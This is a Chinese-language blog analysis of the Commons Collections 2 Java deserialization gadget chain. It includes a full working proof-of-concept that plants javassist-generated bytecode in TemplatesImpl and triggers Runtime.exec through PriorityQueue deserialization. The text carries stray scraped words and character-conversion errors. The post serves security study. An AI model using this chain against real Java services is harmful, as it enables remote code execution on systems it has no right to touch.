首發:Java安全之Commons Collections2分析html
前面分析了CC1的利用鏈,可是發如今CC1的利用鏈中是有版本的限制的。在JDK1.8 8u71版本之後,對AnnotationInvocationHandler
的readobject
進行了改寫。致使高版本中利用鏈沒法使用。java
這就有了其餘的利用鏈,在CC2鏈裏面並非使用 AnnotationInvocationHandler
來構造,而是使用apache
javassist
和PriorityQueue
來構造利用鏈。編程
CC2鏈中使用的是commons-collections-4.0
版本,可是CC1在commons-collections-4.0
版本中其實能使用,可是commons-collections-4.0
版本刪除了lazyMap
的decode
方法,這時候咱們能夠使用lazyMap
方法來代替。可是這裏產生了一個疑問,爲何CC2鏈中使用commons-collections-4.0
3.2.1-3.1版本不能去使用,使用的是commons-collections-4.0
4.0的版本?在中間查閱了一些資料,發如今3.1-3.2.1版本中TransformingComparator
並無去實現Serializable
接口,也就是說這是不能夠被序列化的。因此在利用鏈上就不能使用他去構造。api
下面我把利用鏈給貼上。數組
Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec()
下面就來學習一下須要用到的基礎知識。 關於javassist
上篇文章已經講過了,能夠參考該篇文章:Java安全之Javassist動態編程安全
PriorityQueue() 使用默認的初始容量(11)建立一個 PriorityQueue,並根據其天然順序對元素進行排序。 PriorityQueue(int initialCapacity) 使用指定的初始容量建立一個 PriorityQueue,並根據其天然順序對元素進行排序。
add(E e) 將指定的元素插入此優先級隊列 clear() 今後優先級隊列中移除全部元素。 comparator() 返回用來對此隊列中的元素進行排序的比較器;若是此隊列根據其元素的天然順序進行排序,則返回 null contains(Object o) 若是此隊列包含指定的元素,則返回 true。 iterator() 返回在此隊列中的元素上進行迭代的迭代器。 offer(E e) 將指定的元素插入此優先級隊列 peek() 獲取但不移除此隊列的頭;若是此隊列爲空,則返回 null。 poll() 獲取並移除此隊列的頭,若是此隊列爲空,則返回 null。 remove(Object o) 今後隊列中移除指定元素的單個實例(若是存在)。 size() 返回此 collection 中的元素數。 toArray() 返回一個包含此隊列全部元素的數組。
public static void main(String[] args) { PriorityQueue priorityQueue = new PriorityQueue(2); priorityQueue.add(2); priorityQueue.add(1); System.out.println(priorityQueue.poll()); System.out.println(priorityQueue.poll()); }
結果:app
1 2
getDeclaredField是class超類的一個方法。該方法用來獲取類中或接口中已經存在的一個字段,也就是成員變量。函數
該方法返回的是一個Field對象。post
get 返回該所表示的字段的值 Field ,指定的對象上。 set 將指定對象參數上的此 Field對象表示的字段設置爲指定的新值。
TransformingComparator
是一個修飾器,和CC1中的ChainedTransformer
相似。
查看一下該類的構造方法
這裏發現個有意思的地方,compare
方法會去調用transformer
的transform
方法,嗅到了一絲絲CC1的味道。
package com.test; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue; public class cc2 { public static void main(String[] args) throws Exception { String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; ClassPool classPool=ClassPool.getDefault();//返回默認的類池 classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路徑 CtClass payload=classPool.makeClass("CommonsCollections22222222222");//建立一個新的public類 payload.setSuperclass(classPool.get(AbstractTranslet)); //設置前面建立的CommonsCollections22222222222類的父類爲AbstractTranslet payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //建立一個空的類初始化,設置構造函數主體爲runtime byte[] bytes=payload.toBytecode();//轉換爲byte數組 Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射建立TemplatesImpl Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射獲取templatesImpl的_bytecodes字段 field.setAccessible(true);//暴力反射 field.set(templatesImpl,new byte[][]{bytes});//將templatesImpl上的_bytecodes字段設置爲runtime的byte數組 Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射獲取templatesImpl的_name字段 field1.setAccessible(true);//暴力反射 field1.set(templatesImpl,"test");//將templatesImpl上的_name字段設置爲test InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{}); TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修飾器傳入transformer對象 PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量建立一個 PriorityQueue,並根據其天然順序對元素進行排序。 queue.add(1);//添加數字1插入此優先級隊列 queue.add(1);//添加數字1插入此優先級隊列 Field field2=queue.getClass().getDeclaredField("comparator");//獲取PriorityQueue的comparator字段 field2.setAccessible(true);//暴力反射 field2.set(queue,comparator);//設置queue的comparator字段值爲comparator Field field3=queue.getClass().getDeclaredField("queue");//獲取queue的queue字段 field3.setAccessible(true);//暴力反射 field3.set(queue,new Object[]{templatesImpl,templatesImpl});//設置queue的queue字段內容Object數組,內容爲templatesImpl ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out")); outputStream.writeObject(queue); outputStream.close(); ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out")); inputStream.readObject(); } }
先來看第一段代碼:
ClassPool classPool=ClassPool.getDefault();//返回默認的類池 classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路徑 CtClass payload=classPool.makeClass("CommonsCollections22222222222");//建立一個新的public類 payload.setSuperclass(classPool.get(AbstractTranslet)); //設置前面建立的CommonsCollections22222222222類的父類爲AbstractTranslet payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
我在這裏劃分了幾個部分,這一段代碼的意思能夠簡單理解爲一句話,建立動態一個類,設置父類添加命令執行內容。
這裏首先拋出一個疑問,上面的代碼在前面,添加了AbstractTranslet
所在的搜索路徑,將AbstractTranslet
設置爲使用動態新建類的父類,那麼這裏爲何須要設置AbstractTranslet爲新建類的父類呢?這裏先不作解答,後面分析poc的時候再去講。
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射建立TemplatesImpl Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射獲取templatesImpl的_bytecodes字段 field.setAccessible(true);//暴力反射 field.set(templatesImpl,new byte[][]{bytes});//將templatesImpl上的_bytecodes字段設置爲runtime的byte數組 Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射獲取templatesImpl的_name字段 field1.setAccessible(true);//暴力反射 field1.set(templatesImpl,"test");//將templatesImpl上的_name字段設置爲test
第二部分代碼,反射獲取_bytecodes
的值,設置爲轉換後的payload
的字節碼。_name
也是同樣的方式設置爲test。
那麼爲何須要這樣設置呢?爲何須要設置_bytecodes
的值爲paylaod
的字節碼?這是拋出的第二個疑問。
這裏先來爲第二個疑問作一個解答。
來看看TemplatesImpl
的_bytecodes
被調用的地方
通過了load.defineclass
方法返回了_class。在getTransletInstance()方法裏面調用了__class.newInstance()方法。也就是說對咱們傳入的payload進行了實例化。這就是爲何使用的是templatesImpl
類而不是其餘類來構造的緣由。
並且看到他這裏是強轉爲AbstractTranslet
類類型。這也是第一個疑問中爲何要繼承AbstractTranslet
爲父類的緣由。
那麼就須要去尋找調用getTransletInstance
的地方。在templatesImpl
的newTransformer
方法中其實會調用到getTransletInstance
方法。
這時候就要考慮到了newTransformer
怎麼去調用了,POC中給出的解決方案是使用InvokerTransformer
的反射去調用。
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{}); TransformingComparator comparator =new TransformingComparator(transformer);
這又使用到了TransformingComparator
是爲何呢?其實在前置知識的地方說過。TransformingComparator
的compare
方法會去調用傳入參數的transform
方法。
而關於compare
的辦法就須要用到PriorityQueue
來實現了。
查看對應的POC代碼
PriorityQueue queue = new PriorityQueue(2); queue.add(1); queue.add(1); Field field2=queue.getClass().getDeclaredField("comparator"); field2.setAccessible(true); field2.set(queue,comparator);
siftDownUsingComparator
方法會調用到comparator
的compare
。
siftDownUsingComparator
會在siftDown
方法進行調用
siftDown
會在heapify
調用,而heapify
會在readobject
複寫點被調用。
下面再來看POC中的最後一段代碼
Field field3=queue.getClass().getDeclaredField("queue"); field3.setAccessible(true); field3.set(queue,new Object[]{templatesImpl,templatesImpl});
設置queue.queue爲Object[]數組,內容爲兩個內置惡意代碼的TemplatesImpl
實例實例化對象。這樣調用heapify
方法裏面的時候就會進行傳參進去。
到這裏POC爲什麼如此構造已是比較清楚了,可是對於完整的一個鏈完整的執行流程卻不是很清楚。有必要調試一遍。剛剛的分析其實也是逆向的去分析。
在readobject
位置打個斷點,就能夠看到反序列化時,調用的是PriorityQueue
的readobject
,而這個readobject
方法會去調用heapify
方法。
heapify
會調用siftDown
方法,而且傳入queue
,這裏的queue
是剛剛傳入的構造好惡意代碼的TemplatesImpl
實例化對象。
該方法判斷comparator
不爲空,就會去調用siftDownUsingComparator
,這的comparator
是被TransformingComparator
修飾過的InvokerTransformer
實例化對象。
跟進到siftDownUsingComparator
方法裏面,發現會方法會去調用comparator
的compare
,由於咱們這裏的compare
是被TransformingComparator
修飾過的InvokerTransformer
實例化對象。因此這裏調用的就是TransformingComparator
的compare
。
在這裏傳入的2個參數,內容爲TemplatesImpl
實例化對象。
跟進到方法裏面,this.iMethodName
內容爲newTransformer
反射調用了newTransformer
方法。再跟進一下。
newTransformer
會調用getTransletInstance
方法。
再跟進一下getTransletInstance
方法,這裏會發現先判斷是否爲空,爲空的話調用defineTransletClasses()
進行賦值,這裏是將_bytecodes
賦值給_class
。
defineTransletClasses()
執行完後會跳回剛剛的地方,留意第一個if判斷語句若是_name
等於null就直接返回null,不執行下面代碼。這也是前面爲何會爲_name
設置值的緣由。
再來看他的下一段代碼
會_class.newInstance()
對_class
進行實例化。執行完這一步後就會彈出一個計算器。
在最後面問題又來了,爲何newInstance()
實例化了一個對象就會執行命令呢?
其實這就涉及到了在 javassist
是怎麼去構造的對象。
ClassPool classPool=ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload=classPool.makeClass("CommonsCollections22222222222"); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); payload.writeFile("./");
將這個類給寫出來,再來查看一下具體的是怎麼構造的。
看到代碼後其實就已經很清楚了,Runtime
執行命令代碼是在靜態代碼塊裏面,靜態代碼塊會在new對象的時候去執行。
ObjectInputStream.readObject()->PriorityQueue.readObject()->PriorityQueue.heapify ->PriorityQueue.siftDown->PriorityQueue.siftDownUsingComparator ->TransformingComparator.compare() ->InvokerTransformer.transform()->TemplatesImpl.getTransletInstance ->(動態建立的類)cc2.newInstance()->Runtime.exec()
其實我的以爲在分析利用鏈的時候,只是用別人寫好的POC代碼看他的調用步驟的話,意義並不大。分析利用鏈須要思考利用鏈的POC爲何要這樣寫。這也是我一直在文中一直拋出疑問的緣由,這些疑問都是我一開始考慮到的東西,須要多思考。